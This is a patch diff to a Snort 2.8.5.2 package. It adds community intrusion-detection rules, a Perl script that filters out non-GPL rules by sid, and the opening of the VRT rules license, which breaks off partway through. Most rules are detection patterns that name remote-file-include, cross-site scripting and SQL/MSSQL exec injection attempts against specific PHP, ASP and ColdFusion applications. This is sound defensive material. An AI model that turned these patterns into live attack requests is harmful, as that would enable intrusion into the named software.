+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Informium common-menu.php remote file include"; flow:to_server,established; uricontent:"/admin/common-menu.php"; nocase; uricontent:"CONF[local_path]="; nocase; pcre:"/CONF[local_path]=(https?|ftp)/Ui"; reference:bugtraq,18249; classtype:web-application-attack; sid:100000420; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Igloo wiki.php remote file include"; flow:to_server,established; uricontent:"/wiki.php"; nocase; uricontent:"c_node[class_path]="; nocase; pcre:"/c_node[class_path]=(https?|ftp)/Ui"; reference:bugtraq,18250; classtype:web-application-attack; sid:100000421; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpBB template.php remote file include"; flow:to_server,established; uricontent:"/template.php"; nocase; uricontent:"page="; nocase; pcre:"/page=(https?|ftp)/Ui"; reference:bugtraq,18255; classtype:web-application-attack; sid:100000422; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DotWidget CMS index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"file_path="; nocase; pcre:"/file_path=(https?|ftp)/Ui"; reference:bugtraq,18258; classtype:web-application-attack; sid:100000423; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DotWidget CMS feedback.php remote file include"; flow:to_server,established; uricontent:"/feedback.php"; nocase; uricontent:"file_path="; nocase; pcre:"/file_path=(https?|ftp)/Ui"; reference:bugtraq,18258; classtype:web-application-attack; sid:100000424; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DotWidget CMS printfriendly.php remote file include"; flow:to_server,established; uricontent:"/printfriendly.php"; nocase; uricontent:"file_path="; nocase; pcre:"/file_path=(https?|ftp)/Ui"; reference:bugtraq,18258; classtype:web-application-attack; sid:100000425; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DotClear prepend.php remote file include"; flow:to_server,established; uricontent:"/prepend.php"; nocase; uricontent:"blog_dc_path="; nocase; pcre:"/blog_dc_path=(https?|ftp)/Ui"; reference:bugtraq,18259; classtype:web-application-attack; sid:100000426; rev:2;)
+
+# JBoss Rules from Jon Hart <jhart@spoofed.org>
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC JBoss jmx-console html adaptor access"; flow:to_server,established; uricontent:"/jmx-console/HtmlAdaptor"; reference:url,jboss.org/wiki/Wiki.jsp?page=JMXConsole; classtype:misc-activity; sid:100000427; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 8083 (msg:"COMMUNITY WEB-MISC JBoss RMI class download service directory listing attempt"; flow:to_server,established; content:"GET %. HTTP/1."; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=111911095424496&w=2; classtype:web-application-attack; sid:100000428; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC JBoss web-console access"; flow:to_server,established; uricontent:"/web-console"; reference:url,www.jboss.org/wiki/Wiki.jsp?page=WebConsole; classtype:misc-activity; sid:100000429; rev:1;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes Bs_Faq.class.php remote file include"; flow:to_server,established; uricontent:"/applications/faq/Bs_Faq.class.php"; nocase; uricontent:"APP[path][applications]="; nocase; pcre:"/APP\[path\]\[applications\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000430; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes fileBrowserInner.php remote file include"; flow:to_server,established; uricontent:"/applications/filebrowser/fileBrowserInner.php"; nocase; uricontent:"APP[path][core]="; nocase; pcre:"/APP\[path\]\[core\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000431; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes file.php remote file include"; flow:to_server,established; uricontent:"/applications/filemanager/file.php"; nocase; uricontent:"APP[path][core]="; nocase; pcre:"/APP\[path\]\[core\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000432; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes viewer.php remote file include"; flow:to_server,established; uricontent:"/applications/filemanager/viewer.php"; nocase; uricontent:"APP[path][core]="; nocase; pcre:"/APP\[path\]\[core\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000433; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes Bs_ImageArchive.class.php remote file include"; flow:to_server,established; uricontent:"/applications/imagearchive/Bs_ImageArchive.class.php"; nocase; uricontent:"APP[path][core]="; nocase; pcre:"/APP\[path\]\[core\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000434; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes Bs_Ml_User.class.php remote file include"; flow:to_server,established; uricontent:"/applications/mailinglist/Bs_Ml_User.class.php"; nocase; uricontent:"GLOBALS[APP][path][core]="; nocase; pcre:"/GLOBALS\[APP\]\[path\]\[core\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000435; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BlueShoes Bs_Wse_Profile.class.php remote file include"; flow:to_server,established; uricontent:"/applications/websearchengine/Bs_Wse_Profile.class.php"; nocase; uricontent:"APP[path][plugins]="; nocase; pcre:"/APP\[path\]\[plugins\]=(https?|ftp)/Ui"; reference:bugtraq,18261; classtype:web-application-attack; sid:100000436; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC CS-Cart class.cs_phpmailer.php remote file include"; flow:to_server,established; uricontent:"/class.cs_phpmailer.php"; nocase; uricontent:"classes_dir="; nocase; pcre:"/classes_dir=(https?|ftp)/Ui"; reference:bugtraq,18263; classtype:web-application-attack; sid:100000437; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Claroline mambo.inc.php remote file include"; flow:to_server,established; uricontent:"/auth/extauth/drivers/mambo.inc.php"; nocase; uricontent:"includepath="; nocase; pcre:"/includepath=(https?|ftp)/Ui"; reference:bugtraq,18265; classtype:web-application-attack; sid:100000438; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Claroline postnuke.inc.php remote file include"; flow:to_server,established; uricontent:"/auth/extauth/drivers/postnuke.inc.php"; nocase; uricontent:"includepath="; nocase; pcre:"/includepath=(https?|ftp)/Ui"; reference:bugtraq,18265; classtype:web-application-attack; sid:100000439; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC CyBoards common.php remote file include"; flow:to_server,established; uricontent:"/include/common.php"; nocase; uricontent:"script_path="; nocase; pcre:"/script_path=(https?|ftp)/Ui"; reference:bugtraq,18272; classtype:web-application-attack; sid:100000440; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Wikiwig wk_lang.php remote file include"; flow:to_server,established; uricontent:"/wk_lang.php"; nocase; uricontent:"WK[wkpath]="; nocase; pcre:"/WK\[wkpath\]=(https?|ftp)/Ui"; reference:bugtraq,18291; classtype:web-application-attack; sid:100000441; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC MiraksGalerie pcltar.lib.php remote file include"; flow:to_server,established; uricontent:"/pcltar.lib.php"; nocase; uricontent:"g_pcltar_lib_dir="; nocase; pcre:"/g_pcltar_lib_dir=(https?|ftp)/Ui"; reference:bugtraq,18313; classtype:web-application-attack; sid:100000442; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC MiraksGalerie galimage.lib.php remote file include"; flow:to_server,established; uricontent:"/galimage.lib.php"; nocase; uricontent:"listconfigfile[0]="; nocase; pcre:"/listconfigfile\[0\]=(https?|ftp)/Ui"; reference:bugtraq,18313; classtype:web-application-attack; sid:100000443; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC MiraksGalerie galsecurity.lib.php remote file include"; flow:to_server,established; uricontent:"/galsecurity.lib.php"; nocase; uricontent:"listconfigfile[0]="; nocase; pcre:"/listconfigfile\[0\]=(https?|ftp)/Ui"; reference:bugtraq,18313; classtype:web-application-attack; sid:100000444; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC OfficeFlow default.asp xss attempt"; flow:to_server,established; uricontent:"/default.asp"; nocase; uricontent:"sqlType="; nocase; pcre:"/sqlType(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18367; classtype:web-application-attack; sid:100000448; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC OfficeFlow files.asp MSSQL injection attempt"; flow:to_server,established; uricontent:"/files.asp"; nocase; uricontent:"Project="; nocase; pcre:"/Project(=|\x3f)?exec(\s|\x2b)+(s|x)p\w+/Ui"; reference:bugtraq,18367; classtype:web-application-attack; sid:100000449; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC VanillaSoft Helpdesk default.asp xss attempt"; flow:to_server,established; uricontent:"/default.asp"; nocase; uricontent:"username="; nocase; pcre:"/username(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18368; classtype:web-application-attack; sid:100000450; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt"; flow:to_server,established; uricontent:"/album.asp"; nocase; uricontent:"cat="; nocase; pcre:"/cat(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18379; classtype:web-application-attack; sid:100000451; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC KAPhotoservice album.asp xss attempt"; flow:to_server,established; uricontent:"/album.asp"; nocase; uricontent:"albumid="; nocase; pcre:"/albumid(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18379; classtype:web-application-attack; sid:100000452; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt"; flow:to_server,established; uricontent:"/edtalbum.asp"; nocase; uricontent:"apage="; nocase; pcre:"/apage(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18379; classtype:web-application-attack; sid:100000453; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC KAPhotoservice edtalbum.asp xss attempt"; flow:to_server,established; uricontent:"/edtalbum.asp"; nocase; uricontent:"New Category="; nocase; pcre:"/New Category(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18379; classtype:web-application-attack; sid:100000454; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Axent Forum viewposts.cfm xss attempt"; flow:to_server,established; uricontent:"/viewposts.cfm"; nocase; uricontent:"startrow="; nocase; pcre:"/startrow(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18473; classtype:web-application-attack; sid:100000455; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC SSPwiz index.cfm xss attempt"; flow:to_server,established; uricontent:"/index.cfm"; nocase; uricontent:"message="; nocase; pcre:"/message(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18482; classtype:web-application-attack; sid:100000456; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ASP Stats pages.asp MSSQL injection attempt"; flow:to_server,established; uricontent:"/pages.asp"; nocase; uricontent:"order="; nocase; pcre:"/order(=|\x3f)?exec(\s|\x2b)+(s|x)p\w+/Ui"; reference:bugtraq,18512; classtype:web-application-attack; sid:100000457; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DPVision Tradingeye Shop details.cfm xss attempt"; flow:to_server,established; uricontent:"/details.cfm"; nocase; uricontent:"image="; nocase; pcre:"/image(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18526; classtype:web-application-attack; sid:100000458; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC WeBBoA yeni_host.asp MSSQL injection attempt"; flow:to_server,established; uricontent:"host/yeni_host.asp"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?exec(\s|\x2b)+(s|x)p\w+/Ui"; reference:bugtraq,18564; classtype:web-application-attack; sid:100000459; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC AZureus index.tmpl xss attempt"; flow:to_server,established; uricontent:"/index.tmpl"; nocase; uricontent:"search="; nocase; pcre:"/search(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18596; classtype:web-application-attack; sid:100000460; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt"; flow:to_server,established; uricontent:"/openwebmail-read.pl"; nocase; uricontent:"To="; nocase; pcre:"/To(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18598; classtype:web-application-attack; sid:100000461; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Open WebMail openwebmail-read.pl xss attempt"; flow:to_server,established; uricontent:"/openwebmail-read.pl"; nocase; uricontent:"From="; nocase; pcre:"/From(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18598; classtype:web-application-attack; sid:100000462; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC VCard PRO gbrowse.php SQL injection attempt"; flow:to_server,established; uricontent:"/gbrowse.php"; nocase; uricontent:"cat_id="; nocase; pcre:"/cat_id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18699; classtype:web-application-attack; sid:100000694; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC VCard PRO rating.php SQL injection attempt"; flow:to_server,established; uricontent:"/rating.php"; nocase; uricontent:"card_id="; nocase; pcre:"/card_id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18699; classtype:web-application-attack; sid:100000695; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC VCard PRO create.php SQL injection attempt"; flow:to_server,established; uricontent:"/create.php"; nocase; uricontent:"card_id="; nocase; pcre:"/card_id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18699; classtype:web-application-attack; sid:100000696; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC VCard PRO search.php SQL injection attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"event_id="; nocase; pcre:"/event_id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18699; classtype:web-application-attack; sid:100000697; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BXCP index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"where="; nocase; pcre:"/where(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18765; classtype:web-application-attack; sid:100000698; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt"; flow:to_server,established; uricontent:"/divers.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18775; classtype:web-application-attack; sid:100000699; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt"; flow:to_server,established; uricontent:"/divers.php"; nocase; uricontent:"disable="; nocase; pcre:"/disable(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18775; classtype:web-application-attack; sid:100000700; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC WordPress index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"paged="; nocase; pcre:"/paged(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18779; classtype:web-application-attack; sid:100000701; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Webvizyon SayfalaAltList.asp MSSQL injection attempt"; flow:to_server,established; uricontent:"/SayfalaAltList.asp"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?exec(\s|\x2b)+(s|x)p\w+/Ui"; reference:bugtraq,18899; classtype:web-application-attack; sid:100000702; rev:1;)
+
+# Rules submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 10000 (msg:"COMMUNITY WEB-MISC Webmin null char attempt"; flow:to_server,established; uricontent:"miniserv.pl"; nocase; uricontent:"|00|"; reference:bugtraq,19820; reference:nessus,22300; classtype:web-application-attack; sid:100000890; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 20000 (msg:"COMMUNITY WEB-MISC Usermin null char attempt"; flow:to_server,established; uricontent:"miniserv.pl"; nocase; uricontent:"|00|"; reference:bugtraq,19820; reference:nessus,22300; classtype:web-application-attack; sid:100000891; rev:1;)
+
+# Rule submitted by Avinash Shenoi (Cenzic Inc. CIA Research Team)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "COMMUNITY WEB-MISC Blojsom Weblog blog-category-description xss attempt"; flow:to_server; content:"blog-category-description"; nocase; pcre:"/blog-category-description(=|\x3f)[^\r\n]*\x3c\script/smi"; reference:url,www.kb.cert.org/vuls/id/425861; classtype:web-application-activity; sid:100000895; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "COMMUNITY WEB-MISC Blojsom Weblog blog-entry-title xss attempt"; flow:to_server; content:"blog-entry-title"; nocase; pcre:"/blog-entry-title(=|\x3f)[^\r\n]*\x3c\script/smi"; reference:url,www.kb.cert.org/vuls/id/425861; classtype:web-application-activity; sid:100000896; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "COMMUNITY WEB-MISC Blojsom Weblog rss-enclosure-url xss attempt"; flow:to_server; content:"rss-enclosure-url"; nocase; pcre:"/rss-enclosure-url(=|\x3f)[^\r\n]*\x3c\script/smi"; reference:url,www.kb.cert.org/vuls/id/425861; classtype:web-application-activity; sid:100000897; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "COMMUNITY WEB-MISC Blojsom Weblog technorati-tags xss attempt"; flow:to_server; content:"technorati-tags"; nocase; pcre:"/technorati-tags(=|\x3f)[^\r\n]*\x3c\script/smi"; reference:url,www.kb.cert.org/vuls/id/425861; classtype:web-application-activity; sid:100000898; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg: "COMMUNITY WEB-MISC Blojsom Weblog blog-category-name xss attempt"; flow:to_server; content:"blog-category-name"; nocase; pcre:"/blog-category-name(=|\x3f)[^\r\n]*\x3c\script/smi"; reference:url,www.kb.cert.org/vuls/id/425861; classtype:web-application-activity; sid:100000899; rev:1;)
--- snort-2.8.5.2.orig/rules/remove-non-gpl.pl
+++ snort-2.8.5.2/rules/remove-non-gpl.pl
@@ -0,0 +1,37 @@
+#!/usr/bin/perl
+#
+# Give a rules file, remove all alerts which are not GPL. Based on 
+# Sourcefire's VRT Certified Rules License Agreement 
+# (http://www.snort.org/about_snort/licenses/vrt_license.html)
+# this means that the rule's sid must be outside the 3,465 - 1,000,000 range
+#
+# This program is copyright 2007 by Javier Fernandez-Sanguino <jfs@debian.org>
+#
+#    This program is free software; you can redistribute it and/or modify
+#    it under the terms of the GNU General Public License as published by
+#    the Free Software Foundation; either version 2 of the License, or
+#    (at your option) any later version.
+#
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#    GNU General Public License for more details.
+#
+#    You should have received a copy of the GNU General Public License
+#    along with this program; if not, write to the Free Software
+#    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+#
+# For more information please see
+#  http://www.gnu.org/licenses/licenses.html#GPL
+#
+
+while (<STDIN>) {
+    if ( ! /^alert/ ) {
+        print ;
+    } elsif ( /sid:(\d+)[^\d]/ ) {
+        print if ( $1 < 3465 || $1 > 1000000 );
+    } else {
+        print "WARN: Alert without sid, will not print\n";
+    }
+}
+
--- snort-2.8.5.2.orig/rules/community-nntp.rules
+++ snort-2.8.5.2/rules/community-nntp.rules
@@ -0,0 +1,6 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-nntp.rules,v 1.3 2006/02/16 15:51:19 akirk Exp $
+
+alert tcp $EXTERNAL_NET 119 -> $HOME_NET any (msg:"COMMUNITY NNTP Lynx overflow attempt"; flow:to_server,established; content:"Subject"; nocase; pcre:"/^Subject\x3a[^\r\n]{100,}/smi"; reference:cve,2005-3120; reference:bugtraq,15117; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=20019; reference:nessus,20035; classtype:attempted-admin; sid:100000172; rev:2;) 
--- snort-2.8.5.2.orig/rules/community-policy.rules
+++ snort-2.8.5.2/rules/community-policy.rules
@@ -0,0 +1,11 @@
+# Copyright 2006 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-policy.rules,v 1.5 2007/03/05 14:39:58 akirk Exp $
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY POLICY Ajax Remote Desktop Connection"; flow:from_server,established; content:"<title>"; content:"AJAX Remote Desktop Viewer"; distance:0; reference:url,www.peterdamen.com/ajaxrd/; classtype:policy-violation; sid:100000688; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"COMMUNITY POLICY Weather Channel Desktop App Installer"; flow: established,to_server; uricontent:"/desktopfw"; nocase; uricontent:"/stubinstaller.txt?"; nocase; classtype:policy-violation; sid:100000893; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"COMMUNITY POLICY Weather Channel Desktop App"; flow: established,to_server; uricontent:"/weather/local/"; nocase; content:"Host|3A|"; nocase; content:"desktopfw.weather.com"; nocase; distance:0; pcre:"/^Host\x3A\s+desktopfw\x2Eweather\x2Ecom/smi"; classtype:policy-violation; sid:100000894; rev:1;)
+# alert ip 169.254.0.0/16 any <> any any (msg:"COMMUNITY POLICY Link Local IP addresses traffic seen"; threshold:type limit, track by_src, count 1, seconds 60; classtype:bad-unknown;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"COMMUNITY POLICY Google SafeSearch off"; flow:to_server,established; content:"/images?"; nocase; content:"&safe=off"; nocase; content:"&q="; nocase; classtype:policy-violation; sid:100000924; rev:1;)
--- snort-2.8.5.2.orig/rules/VRT-License.txt
+++ snort-2.8.5.2/rules/VRT-License.txt
@@ -0,0 +1,326 @@
+			SOURCEFIRE, INC.
+	     VRT CERTIFIED RULES LICENSE AGREEMENT
+			 VERSION 1.1
+
+THE VRT CERTIFIED RULES ARE LICENSED TO YOU BY SOURCEFIRE, INC.
+("SOURCEFIRE") UNDER THE TERMS OF THIS VRT CERTIFIED RULES LICENSE
+AGREEMENT (THE "AGREEMENT").  BY CLICKING THE "ACCEPT" BUTTON BELOW, OR
+BY INSTALLING OR USING THE VRT CERTIFIED RULES, YOU ARE CONSENTING TO BE
+BOUND BY THIS AGREEMENT.  IF YOU DO NOT AGREE TO THE TERMS AND
+CONDITIONS OF THIS AGREEMENT, DO NOT CLICK THE "ACCEPT" BUTTON, AND DO
+NOT INSTALL OR USE ANY PART OF THE VRT CERTIFIED RULES.
+
+1. Definitions.
+
+  1.1. "Commercial Purpose" means the use, reproduction or distribution of
+  (i) the VRT Certified Rules or any Modification, or any portion of the
+  foregoing, or (ii) a Compilation that includes, in whole or in part, the
+  VRT Certified Rules or any Modification that in either case is intended
+  to result in a direct or indirect pecuniary gain or any other
+  consideration or economic benefit to any person or entity involved in
+  such use, reproduction or distribution.  Examples of a Commercial
+  Purpose, include without limitation, (v) integrating the VRT Certified
+  Rules with other software or hardware for sale, (w) licensing the VRT
+  Certified Rules for a fee, (x) using the VRT Certified Rules to provide
+  a service to a third party, (y) selling the VRT Certified Rules, or (z)
+  distributing the VRT Certified Rules for use with other products or
+  other services.
+
+  1.2. "Compilation" means a work which combines the VRT Certified Rules
+  or any Modification or portions thereof with any services, programs,
+  code or other products not governed by the terms of this Agreement. 
+
+  1.3. "Improvements" shall mean a Modification to a VRT Certified Rule
+  (or to a modified VRT Certified Rule) that corrects a bug, defect, or
+  error in such rule without affecting the overall functionality of such
+  VRT Certified Rule (or Modification thereof). 
+
+  1.4. "Modifications" means any alteration, addition to or deletion from
+  the substance or structure of the VRT Certified Rules or any
+  Modifications of such, including, without limitation, 
+
+  	(a) any addition to or deletion from the contents of a file
+  	containing a VRT Certified Rule or a Modification;
+  	(b) any derivative of the VRT Certified Rule or of any Modification; 
+  	or
+  	(c) any new file that contains any part of the VRT Certified Rule or 
+  	Modifications.
+
+  1.5.  "Permitted Use" shall have the meaning given such term in Section 2.1. 
+
+  1.6. "Restricted Activities" shall have the meaning given such term in
+  Section 2.1. 
+
+  1.7. "Snort(r) Registered User" shall mean an individual who has
+  registered or subscribed on www.snort.org to use the VRT Certified Rules. 
+
+  1.8. "VRT Certified Rules" means those Snort(r) rules (in text form,
+  source code form, object code form and all documentation related
+  thereto) that have been created, developed, tested and officially
+  approved by Sourcefire.  These rules are designated with SIDs of 3465 -
+  1,000,000, except as otherwise noted in the license file. 
+
+  1.9. "You" (or "your") means an individual exercising rights under this
+  Agreement.  For legal entities, "you'' includes any entity which
+  controls, is controlled by, or is under common control with you or any
+  such entity you are acting on behalf of.  For purposes of this
+  definition, "control'' means (a) the power, direct or indirect, to cause
+  the direction or management of such entity, whether by contract or
+  otherwise, or (b) ownership of more than forty percent (40%) of the
+  outstanding shares or beneficial ownership of such entity. 
+
+2. Sourcefire License Grant.  
+
+  2.1. Grant of License; Permitted Use.  Subject to the terms and
+  conditions of this Agreement, Sourcefire hereby grants you a world-wide,
+  non-exclusive license to do any of the following with respect to the VRT
+  Certified Rules:
+
+  	(a) use and deploy the VRT Certified Rules on management consoles and
+  	sensors that you manage (over which you have administrative control);
+
+  	(b) use and deploy the VRT Certified Rules on behalf of your employer
+  	on its internal management consoles and sensors (e.g., where a valid
+  	employer-employee relationship exists between you and a legal entity); 
+
+  	(c) modify the VRT Certified Rules and use those Modifications
+  	consistent with paragraphs (a) and (b) above;  
+
+  	(d) distribute those VRT Certified Rules and any Modifications
+  	generally available to Snort(r) Registered Users  on a limited basis
+  	to other Snort(r) Registered Users; 
+
+  	(e) distribute any Improvement generally available to Snort(r)
+  	Registered Users on mailing lists commonly used by the Snort(r) user
+  	community as a whole;
+
+  	(f) reproduce the VRT Certified Rules as strictly necessary in
+  	exercising your rights under this Section 2.1; and
+
+  	(g) Make the VRT Certified Rules (or any Modification) available to
